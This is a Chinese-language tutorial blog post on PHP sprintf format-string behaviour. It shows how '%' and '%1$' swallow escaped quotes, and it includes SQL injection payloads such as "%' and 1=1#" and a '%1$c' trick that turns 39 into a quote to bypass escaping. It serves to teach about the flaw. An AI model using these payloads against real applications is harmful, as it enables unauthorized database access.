小生归一(七)sprintf字符串格式化漏洞

时间:2022-07-22
本文章向大家介绍小生归一(七)sprintf字符串格式化漏洞,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

此文章为原创连载文章,关注公众号,持续更新。

吞掉引号

这两种单引号被吞掉的情况都有可能会引起漏洞。

Sprintf()函数中%1$'[需要填充的字符]10s:

在需要填充的字符前面都要加上一个单引号,’10’代表的字符串总长度为10。

单引号逃逸

<?php
$sql=sprintf("select * from t where a='%'",'admin');
echo $sql;

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了'%')会被当作字符类型,而被吃掉,单引号',斜杠也不例外。

应用:

如果能提前将%'and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成

'select* from user where username = '%' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,会被%吃掉,'成功逃逸

<?php
$sql= "select * from user where username = '%' and 1=1#';";
$args= "admin";
echosprintf( $sql, $args ) ;
//result:select * from user where username = '' and 1=1#'
?>

还可以使用%1$吃掉后面的斜杠,而不引起报错

<?php
$sql= "select * from user where username = '%1$' and 1=1#' andpassword='%s';";
$args= "admin";
echosprintf( $sql, $args) ;
//result:select * from user where username = '' and 1=1#' andpassword='admin';
?>

%c利用

国外安全研究人员AnthonyFerrara给出了另一种此漏洞的利用方式

<?php
$input1= '%1$c) OR 1 = 1 /*';
$input2= 39;
$sql= "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql= sprintf($sql, $input2);
echo$sql;

%c起到了类似chr()的效果,将数字39转化为单引号',从而导致了sql注入。